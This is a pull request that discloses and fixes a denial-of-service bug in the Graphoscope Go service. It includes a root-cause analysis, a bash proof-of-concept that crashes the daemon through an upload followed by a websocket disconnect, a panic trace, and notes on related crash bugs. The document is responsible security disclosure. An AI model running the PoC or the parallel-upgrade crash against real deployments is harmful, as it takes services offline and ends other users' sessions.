Fix DoS: nil-pointer dereference in Account.send after upload

[thistehneisen]

Fix DoS via nil-pointer dereference in Account.send after upload

Reported by: OffSeq — Nils Putniņš <npu@offseq.com>
Affected version: v2.6.1 (a2a794ef6916d16da3fcc2f9f8d86225482e7263)

What this PR fixes

Any user who uploads a file via /upload and then disconnects before
processUploads finishes triggers a nil dereference inside
gorilla/websocket.(*Conn).WriteMessage. The goroutine spawned at
upload.go:253 has no recover(), so the panic terminates the entire
Graphoscope process. All other signed-in users lose their sessions.

Reproduction is 100% reliable — not race-window dependent.

Root cause

upload.go:413 calls a.send("upload-processed", filename, "") from a
background goroutine. Account.send (websocket.go) guards only against
a.Session == nil, but on disconnect listen() runs its deferred teardown:

defer func() {
    close(a.Session.Done)
    a.Session.Websocket.Close()
    a.Session.Websocket = nil          // websocket.go:105
    delete(online, a.Username)
}()

…which leaves a.Session != nil but a.Session.Websocket == nil. The
subsequent a.Session.Websocket.WriteMessage(...) in send() segfaults.

Additionally, the assignment at line 105 was not protected by
WebsocketMutex, so even a basic nil-check in send() would still race
with the teardown.

The fix

• In Account.send:
  • Early-return when a.Session == nil before touching a.Session.IP
    (the previous error path dereferenced it in a log line).
  • Re-check a.Session.Websocket != nil inside the WebsocketMutex
    critical section — that's where listen() writes to it.
• In Account.listen's deferred teardown:
  • Acquire WebsocketMutex around Close() + Websocket = nil so the
    "write side" never observes a half-initialised state.

Diff is 38 lines, single file (websocket.go).

Repro (PoC)

#!/usr/bin/env bash
# OffSeq / Nils Putniņš <npu@offseq.com>
set -euo pipefail
BASE=${BASE:-https://127.0.0.1:8443}
WSBASE=${WSBASE:-wss://127.0.0.1:8443}

U=crash$$; P=crashpass
JAR=/tmp/poc/$U.jar
mkdir -p /tmp/poc

curl -sk -c "$JAR" -b "$JAR" -X POST "$BASE/signup" \
     -d "username=$U&password=$P" >/dev/null
SID=$(awk '/sessionID/ {print $7}' "$JAR")

# Hold a WS just long enough for `online[user] = account`
( sleep 3 | websocat -k --no-close --header="Cookie: sessionID=$SID" \
     "$WSBASE/ws" >/dev/null 2>&1 ) &
WSPID=$!
sleep 1

printf 'crashpayload\n' > /tmp/poc/crashfile.txt
curl -sk -b "$JAR" "$BASE/upload" \
  -F "source=demo" -F "format=json" -F "field=name" \
  -F "startTime=2024-01-01T00:00:00.000Z" \
  -F "endTime=2030-01-01T00:00:00.000Z" \
  -F "file=@/tmp/poc/crashfile.txt;filename=crash.txt"

kill $WSPID 2>/dev/null || true   # user closes the tab

for i in {1..20}; do
   if ! curl -sk --max-time 1 -o /dev/null "$BASE/signin" 2>/dev/null; then
      echo "[+] daemon gone (pre-patch behaviour)"; exit 0
   fi
   sleep 0.5
done
echo "[+] daemon still alive (post-patch behaviour)"

Panic stack trace (pre-patch)

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x10 pc=0x104d606b4]

github.com/gorilla/websocket.(*Conn).WriteMessage(...)
        .../gorilla/websocket@v1.5.3/conn.go:760 +0x24
main.(*Account).send(...)
        .../graphoscope/websocket.go:502 +0x174
main.(*Account).processUploads(...)
        .../graphoscope/upload.go:413 +0xaa8
main.uploadHandler.func1()
        .../graphoscope/upload.go:254 +0x84
created by main.uploadHandler in goroutine 1216
        .../graphoscope/upload.go:253 +0x1470

Post-patch verification

Ran the same PoC against a binary built from this branch. Service log shows
the normal "Websocket connection closed by client" → "Processed file added
to the downloads list" sequence and curl /signin returns 200 throughout.

Out of scope (follow-ups)

While reproducing this we noticed related issues that aren't covered by
this PR — happy to file them separately:

1. fatal error: concurrent map writes on online[] (websocket.go:23,
   mutated at :91/:106, read in broadcast() and upload.go:98).
   Reproducible from ~20 parallel WS upgrades. Suggested fix:
   sync.RWMutex or sync.Map.
2. uploadHandler.func1 goroutine has no recover() — any panic from
   a downstream plugin (e.g. MISP panic(err) patterns) still crashes the
   service. Suggested fix: top-level defer recover() in every goroutine
   spawned from request handlers.
3. Plumb context.Context from the HTTP handler into processUploads
   so that a client disconnect can cancel the in-flight work cleanly.

---

Nils Putniņš / npu[at]offseq[dot]com / OffSeq
https://offseq.com / https://radar.offseq.com